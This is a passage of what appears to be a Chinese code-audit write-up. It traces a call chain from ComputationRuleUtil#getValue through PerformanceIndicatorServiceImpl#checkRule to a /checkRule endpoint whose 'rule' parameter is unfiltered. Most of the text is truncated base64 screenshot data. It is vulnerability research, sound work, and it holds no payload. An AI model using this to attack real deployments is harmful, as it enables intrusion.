<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095813-d1f9ceb4-df4a-1.png title><img src="data:image/png;base64,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 truncated
<p>下面全局搜索哪里调用了<code>ComputationRuleUtil#getValue</code>这个方法。</p>
<p><a id=img2 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095825-d8e24bfc-df4a-1.png title><img src=data:image/png;base64,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 truncated
<p>找到<code>PerformanceIndicatorServiceImpl#checkRule</code>方法中有调用,参数也是从外部接收的</p>
<p><a id=img3 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095835-dec4266c-df4a-1.png title><img src="data:image/png;base64,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 truncated
<p>继续查找<code>checkRule</code>的调用位置,定位到入口点<code>/checkRule</code>,到此请求参数<code>rule</code>并未发现任何过滤。</p>
<p><a id=img4 href=https://xzfile.aliyuncs.com/media/upload/picture/20240311095845-e49ce056-df4a-1.png title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABg4AAAGGCAYAAACjaXqTAAAMQWlDQ1BJQ0MgUHJvZmlsZQAAeJyVVwdYU8kWnluSkEBooUsJvQkCUgJICaEFkF4EUQlJgFBiDAQVO7Ko4FpQsYANXRVR7IBYUMTOotj7YkFBWRcLduVNCui6r3xvvm/u/PefM/85c+7MvXcAUDvBEYlyUXUA8oQF4tiQAPq45BQ6qQegQAPoAnvgzOHmi5jR0REAlqH27+XdDYBI26sOUq1/9v/XosHj53MBQKIhTuflc/MgPggAXs0ViQsAIEp586kFIimGFWiJYYAQL5TiTDmuluJ0Od4rs4mPZUHcBoCSCocjzgRA9TLk6YXcTKih2g+xk5AnEAKgRofYNy9vMg/iNIhtoI0IYqk+I/0Hncy/aaYPa3I4mcNYPhdZUQoU5ItyOdP/z3T875KXKxnyYQWrSpY4NFY6Z5i3WzmTw6VYBeI+YXpkFMSaEH8Q8GT2EKOULElogtweNeTms2DOgA7ETjxOYDjEhhAHC3MjIxR8eoYgmA0xXCHoNEEBOx5iPYgX8vOD4hQ2m8STYxW+0IYMMYup4M9xxDK/Ul8PJDkJTIX+6yw+W6GPqRZlxSdBTIHYolCQGAmxKsSO+Tlx4QqbMUVZrMghG7EkVhq/BcSxfGFIgFwfK8wQB8cq7Mvy8ofmi23KErAjFXh/QVZ8qDw/WBuXI4sfzgW7zBcyE4Z0+PnjIobmwuMHBsnnjvXwhQlxCp0PooKAWPlYnCLKjVb